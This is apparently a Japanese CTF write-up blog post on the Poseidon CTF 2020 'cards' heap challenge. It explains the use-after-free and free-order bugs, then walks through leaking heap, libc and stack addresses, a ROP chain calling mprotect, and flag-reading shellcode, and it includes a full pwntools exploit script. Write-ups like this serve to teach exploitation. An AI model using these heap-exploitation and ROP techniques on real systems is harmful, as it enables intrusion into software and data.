newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 34.0】Poseidon CTF 2020 - cards

keywords

ROP to mprotect / re-allocated structure / UAF / environ to leak stack / libc2.32

 

 

1: イントロ

いつぞや行われた Poseidon CTF 2020

libc2.32問があったのでそれだけ解いた = pwn問 card

結局あまり関係なかった 

 

猫も可愛いけどやっぱり犬が可愛いですよね

どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です

どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです

 

 

2. 問題概要

libc2.32 + セキュリティ機構FULL stripped

$ file ./cards
./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled 

以下に示すseccompがあり、且つprctl(PR_NO_NEW_PRIV)がセットされていた

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

 

カードの add edit free view ができる

なんか隠しコマンド 6 があったが使わなかった

 

 

3. Vulns - heapbaseのleakまで

edit時にfreeしたかどうかのチェックがないためUAF(write) (view/freeはフラグをチェックするため不可)

freeするときの順番が逆

・NULL終端がない

・バッファ(chunk)を初期化していない

・消去したノートのアドレスをNULLクリアしていない

editにおいて note 構造体のサイズ情報ではなく他で保存した情報を用いている(note構造体中のsizeを変えられればoverflow)

・実際に確保したノート数+1に対して free/edit/view ができる

 

結局使ったのは1つ目と2つ目と3つ目と4つ目と5つ目の脆弱性のみ

まず、登場するchunkには3種類あって、ノートの情報を保持する構造体noteと、ノートに格納する名前に関する構造体target_noteと、実際に名前を格納するnameがある。この内notetarget_noteへのポインタを、target_notenameへのポインタを保持している。mallocの際にはこの順に確保される。

だがfree時にもこの順番でfreeしてしまっている。これはnotefreeした後でnote->target_noteをdereferenceすることになり十分脆弱性であると言える(今回はこの事実は使用していないが)。この順番でfreeをした後再びmallocをすると、かつてnoteだったchunkはnameになり、逆も然りである。よって、nameを読むことでかつてnoteとして保持していたtarget_noteへのポインタをleakすることができる。

 

4: AAW/AAR

上述した嘗てnoteであったnameチャンクをUAFで用いることで、target_noteポインタをleakするだけでなく上書きしてAAWに使うこともできる。この際、editにはnote構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロでoverwriteしておく。

view自体は他のflagによって管理しているため、それだけではUAFのreadはできない。だが、AAWを持っている今、他のnotetarget_noteポインタを書き換えてやることで未だfreeされていないnoteからAARを達成できる。

 

 

5: libcbase leak

AAW+AARができるため、適当にsizeを書き換えてfreeを行いunsortedを生成してlibcbaseをleakする

 

 

6: StackAddr leak

AAW+AAR+libcbase leakedの状態のため、environを読んでstackaddrをleakする

 

 

7: ROP to mprotect

editによってedit()関数のreturn addrを書き換え、ROPに持ち込む。このROPの大きさは0xFFに限られているため、一度heapをmprotectでRWXにしてシェルコードを置くことにする。

 

 

8: shellcode to open/read flag

はい

 

 

9: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./cards"
LIBCNAME = "./libc-2.32.so"

hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost")
ports = (9004,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(idx):
    c.recvuntil("Choice: ")
    c.sendline(str(idx))

def _add(size, color, name):
    if len(color) > 7:
        raw_input("[-] color size too long: "+hex(len(color)))
        exit()
    hoge(1)
    c.recvuntil("card: ")
    c.send(str(size))
    c.recvuntil("color: ")
    c.send(color)
    c.recvuntil("name: ")
    c.send(name)

def _remove(idx):
    hoge(2)
    c.recvuntil("card: ")
    c.sendline(str(idx))

def _edit(idx, name):
    hoge(3)
    c.recvuntil("card: ")
    c.send(str(idx))
    c.recvuntil("name: ")
    c.send(name)

def _view(idx):
    hoge(4)
    c.recvuntil("card: ")
    c.sendline(str(idx))

# 謎の隠しコマンド
def _secret(name):
    hoge(6)
    c.recvuntil("name: ")
    c.send(name)

# house of io ?
def decrypt(Pd):
    L = Pd >> 36
    for i in range(3):
      temp = (Pd >> (36-(i+1)*8)) & 0xff
      element = ((L>>4) ^ temp) & 0xff
      L = (L<<8) + element
      print("L : "+hex(L))

## exploit ###########################################

def exploit():
  global c
  flag_path = "/home/challenge/flag\x00"

  shellcode = b""
  shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag
  shellcode += asm("push rdi")
  shellcode += asm("mov rdi, 0x2f65676e656c6c61")
  shellcode += asm("push rdi")
  shellcode += asm("mov rdi, 0x68632f656d6f682f")
  shellcode += asm("push rdi")

  shellcode += asm("mov rdi, rsp")
  shellcode += asm("mov rax, 2")
  shellcode += asm("mov rdx, 0")
  shellcode += asm("mov rsi, 0")
  shellcode += asm("syscall")

  shellcode += asm("mov rdi, rax")
  shellcode += asm("mov rcx, rsp") # バッファ
  shellcode += asm("mov rsi, rcx")
  shellcode += asm("mov rdx, 0x80")
  shellcode += asm("mov rax, 0")
  shellcode += asm("syscall")

  shellcode += asm("mov rdi, 1")
  shellcode += asm("mov rsi, rsp")
  shellcode += asm("mov rdx, 0x80")
  shellcode += asm("mov rax, 1")
  shellcode += asm("syscall")


  print("shellcode len: "+hex(len(shellcode)))
  
  _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ)
  _remove(0)

  # leak heapbase
  _add(0x20, "A", "A"*0x10)
  _view(1)
  c.recvuntil("A"*0x10)
  leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
  print("[+] leaked: "+hex(leaked01))
  heapbase = leaked01 - 0x40
  print("[+] heapbase: "+hex(heapbase))

  # overwrite 0's flag
  _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1))

  _add(0xf8, "B"*0x4, flag_path) # 2
  _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3
  _add(0xf8, "F"*0x4, flag_path) # 4
  _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext
  _add(0xf8, "J"*0x4, shellcode) # 6

  _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる
  _edit(0, p64(0x451))       # fake size of name of 2(maybe)

  _remove(2) # fake size == 0x451 unsorted生成


  # libcbase leak
  _add(0x60, "X", "Y") #7
  _view(7)
  c.recvuntil("Y")
  leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400
  print("[+] leaked: "+hex(leaked02))
  libcbase = leaked02 - 0x3b6c00
  print("[+] libcbase: "+hex(libcbase))
  free_hook = libcbase + 0x3b8e80
  system = libcbase + 0x43930
  print("[+] free_hook: "+hex(free_hook))


  # note4のname_ptrをenvironへ: stack leak
  _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase)) 
  _edit(0,p64(libcbase + libc.symbols["environ"]))
  _view(4)
  c.recvuntil("name: ")
  environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))
  print("[+] environ: "+hex(environ))
  stack_ra = environ - 0x100
  print("[+] RA addr of main stack: "+hex(stack_ra))


  # EDITのstackのRA書き換え
  _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase)) 
  _edit(0, p64(stack_ra - 0x78 + 8))

  pop_rdi = 0x0002201c
  pop_rsi = 0x0002c626
  pop_rdx = 0x00001b9e
  shell_mem = heapbase + 0x680 # note6
  protected_mem = heapbase & 0xfffffffffffff000

  rop = b""
  rop += p64(libcbase + pop_rdi)
  rop += p64(protected_mem)
  rop += p64(libcbase + pop_rsi)
  rop += p64(0x3000)
  rop += p64(libcbase + pop_rdx)
  rop += p64(0x7)
  rop += p64(libcbase + libc.symbols["mprotect"])
  rop += p64(shell_mem)

  _edit(6, rop)
  return



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

 

10: アウトロ

f:id:smallkirby:20200810013902p:plain

got a flag

歳を取りたくなさすぎて泣いています

 

 

 

 

 

 

 

続く...

 

 

 

 

 

 

 

 

 

 

You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.